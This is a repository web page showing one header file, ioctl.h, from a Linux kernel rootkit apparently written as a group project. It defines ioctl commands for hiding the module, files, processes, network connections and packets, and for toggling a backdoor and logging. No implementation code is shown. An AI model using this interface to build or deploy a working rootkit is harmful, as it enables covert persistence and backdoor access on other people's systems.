linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

ioctl.h (734B)


      1 #ifndef _GROUP7_IOCTL_H
      2 #define _GROUP7_IOCTL_H
      3 
      4 #define G7_MAGIC_NUMBER '@'
      5 #define G7_DEVICE "g7rkp"
      6 
      7 #define G7_PING    _IOWR(G7_MAGIC_NUMBER, 0x0, char *)
      8 #define G7_MODHIDE  _IOR(G7_MAGIC_NUMBER, 0x1, char *)
      9 #define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x2, char *)
     10 #define G7_OPENHIDE _IOR(G7_MAGIC_NUMBER, 0x3, char *)
     11 #define G7_PIDHIDE  _IOR(G7_MAGIC_NUMBER, 0x4, char *)
     12 #define G7_TCPHIDE  _IOR(G7_MAGIC_NUMBER, 0x5, char *)
     13 #define G7_UDPHIDE  _IOR(G7_MAGIC_NUMBER, 0x6, char *)
     14 #define G7_PACKHIDE _IOR(G7_MAGIC_NUMBER, 0x7, char *)
     15 #define G7_BACKDOOR _IOR(G7_MAGIC_NUMBER, 0x8, char *)
     16 #define G7_TOGGLEBD _IOR(G7_MAGIC_NUMBER, 0x9, char *)
     17 #define G7_LOGGING  _IOR(G7_MAGIC_NUMBER, 0xa, char *)
     18 
     19 #endif//_GROUP7_IOCTL_H